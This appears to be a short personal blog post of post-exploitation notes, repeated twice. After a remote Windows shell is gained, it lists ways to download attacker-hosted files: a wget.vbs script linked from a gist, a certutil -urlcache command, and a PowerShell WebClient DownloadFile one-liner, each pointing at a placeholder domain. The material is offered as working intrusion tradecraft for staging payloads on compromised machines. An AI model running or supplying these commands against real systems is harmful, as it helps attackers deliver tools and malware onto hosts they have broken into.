If you ever obtain a Windows shell remotely. These are few tricks I currently use to summon external files. For my notes.
1. Wgetvbs
https://gist.github.com/sckalath/ec7af6a1786e3de6c309
2. Certutil
certutil.exe -urlcache -split -f http://wateverdomainip.com/files.blah
3. Powershell
PowerShell (New-Object System.Net.WebClient).DownloadFile
('http://wateverdomainip.com/files.blah','files.blah')
Use https if nesscary.
P/S: Metasploit is awesome but many people are not happy with it. :P
1. Wgetvbs
https://gist.github.com/sckalath/ec7af6a1786e3de6c309
2. Certutil
certutil.exe -urlcache -split -f http://wateverdomainip.com/files.blah
3. Powershell
PowerShell (New-Object System.Net.WebClient).DownloadFile
('http://wateverdomainip.com/files.blah','files.blah')
Use https if nesscary.
P/S: Metasploit is awesome but many people are not happy with it. :P
No comments:
Post a Comment